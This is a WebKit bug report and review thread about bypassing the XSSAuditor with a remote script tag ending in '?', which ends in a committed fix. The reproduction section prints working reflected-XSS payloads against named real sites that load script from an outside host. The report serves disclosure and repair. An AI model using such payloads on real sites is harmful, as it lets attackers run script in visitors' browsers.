Bug 70255 - XSSAuditor bypass with remote script ending in ? character
Summary: XSSAuditor bypass with remote script ending in ? character
Status: RESOLVED FIXED
Alias: None
Product: WebKit
Classification: Unclassified
Component: WebCore Misc. (show other bugs)
Version: 528+ (Nightly build)
Hardware: All All
: P2 Normal
Assignee: Thomas Sepez
URL:
Keywords: XSSAuditor
Depends on:
Blocks: 66579
  Show dependency treegraph
 
Reported: 2011-10-17 12:22 PDT by Thomas Sepez
Modified: 2011-10-17 21:36 PDT (History)
3 users (show)

See Also:


Attachments
Patch plus test case. (10.09 KB, patch)
2011-10-17 15:59 PDT, Thomas Sepez
no flags Details | Formatted Diff | Diff
Much easier to understand patch. (10.41 KB, patch)
2011-10-17 16:34 PDT, Thomas Sepez
dbates: review+
dbates: commit-queue-
Details | Formatted Diff | Diff
Much easier to understand patch with better changelog format. (10.54 KB, patch)
2011-10-17 17:41 PDT, Thomas Sepez
no flags Details | Formatted Diff | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Thomas Sepez 2011-10-17 12:22:56 PDT
Upstreamed from chromium issue 86752.

Reported by dc.comm...@gmail.com, Jun 20, 2011
VULNERABILITY DETAILS
It is possible to bypass anti reflected-xss protection in Chrome under certain conditions.

 <snip>

VERSION
Chrome Version: 12.0.742.100 stable
Operating System: Debian, but also works on MacOs 10.6

REPRODUCTION CASE
Because an example worth 100 words:
Original vulnerable script
lclown.fr/dev_lab/xss_reflect.php?name=John

Reflected xss:
lclown.fr/dev_lab/xss_reflect.php?name=John<script src=//0x.lv?

"Real life" examples (sponsored by xssed.com :p)
http://talent.linkedin.com/register/download.php?ID=%22%3E%3Cscript%20src=//lclown.fr/a.js?

http://www.reuters.com/finance/markets/index?symbol=us!spx&sortBy=%22%3E%3Cscript%20src=//lclown.fr/a.js?

Expected behavior:
a.js from lclown.fr is not executed
Comment 1 Thomas Sepez 2011-10-17 12:23:31 PDT
Much like a // can be used to prevent characters from the page from breaking JS, the ? character here is used to prevent characters from the page from "breaking" the URL pointing to //lclown.fr/a.js.

To do the same thing to src="" (and the like) parameters that we did for JS is more difficult, because the bad guy in theory controls everything past the domain, and could return the same static JS no matter what crap happens to follow the URL.

Much like eraseDangerousAttributeIfInjected(), we'll need eraseSrcAttributeIfInjected, which would need to understand enough about the structure of URLs to truncate at the end of the domain.
Comment 2 Thomas Sepez 2011-10-17 15:59:37 PDT
Created attachment 111338 [details]
Patch plus test case.
Comment 3 WebKit Review Bot 2011-10-17 16:02:01 PDT
Attachment 111338 [details] did not pass style-queue:

Failed to run "['Tools/Scripts/update-webkit', '--chromium']" exit_code: 2

Updating OpenSource
Current branch master is up to date.
Updating chromium port dependencies using gclient...
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3﷒0﷓; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying 'depot_tools/gclient sync'
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3﷒1﷓; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying 'depot_tools/gclient sync'
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3﷒2﷓; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Error: 'depot_tools/gclient sync' failed 3 tries and returned 256 at Tools/Scripts/update-webkit-chromium line 107.
Re-trying 'depot_tools/gclient sync'
No such file or directory at Tools/Scripts/update-webkit line 104.


If any of these errors are false positives, please file a bug against check-webkit-style.
Comment 4 Darin Adler 2011-10-17 16:10:28 PDT
Comment on attachment 111338 [details]
Patch plus test case.

View in context: https://bugs.webkit.org/attachment.cgi?id=111338&action=review

> Source/WebCore/html/parser/XSSAuditor.h:67
> +    bool eraseAttributeIfInjected(HTMLToken&, const QualifiedName&, const String& replacementValue = String(), bool srcLikeAttribute = false);

Since all the callers are using a constant, you should use an enum for this instead of false and true. At the call site, the value “true” means nothing and is mysterious, but something like AttributeIsSrcLike or AttributeValueIsURL is much easier to understand.
Comment 5 Thomas Sepez 2011-10-17 16:34:16 PDT
Created attachment 111345 [details]
Much easier to understand patch.
Comment 6 Daniel Bates 2011-10-17 17:32:16 PDT
Comment on attachment 111345 [details]
Much easier to understand patch.

View in context: https://bugs.webkit.org/attachment.cgi?id=111345&action=review

Looks sane to me.

> Source/WebCore/ChangeLog:5
> +        Fix xssauditor bypass where unterminated src="" attribute could pick up
> +        text from page causing failed XSS detection.  Constrain match to domain
> +        portions of src attribute only.

The format of the change log entry is to put the bug title above the bug URL and put a description after the Reviewed by line. One such example of this format can been in the change log for <http://trac.webkit.org/changeset/97675>.

Nit: xssauditor => XSSAuditor
Comment 7 Thomas Sepez 2011-10-17 17:41:03 PDT
Created attachment 111358 [details]
Much easier to understand patch with better changelog format.
Comment 8 Daniel Bates 2011-10-17 17:43:27 PDT
Comment on attachment 111358 [details]
Much easier to understand patch with better changelog format.

Thanks Tom for the updated patch.
Comment 9 WebKit Review Bot 2011-10-17 21:36:29 PDT
Comment on attachment 111358 [details]
Much easier to understand patch with better changelog format.

Clearing flags on attachment: 111358

Committed r97715: <http://trac.webkit.org/changeset/97715>
Comment 10 WebKit Review Bot 2011-10-17 21:36:34 PDT
All reviewed patches have been landed.  Closing bug.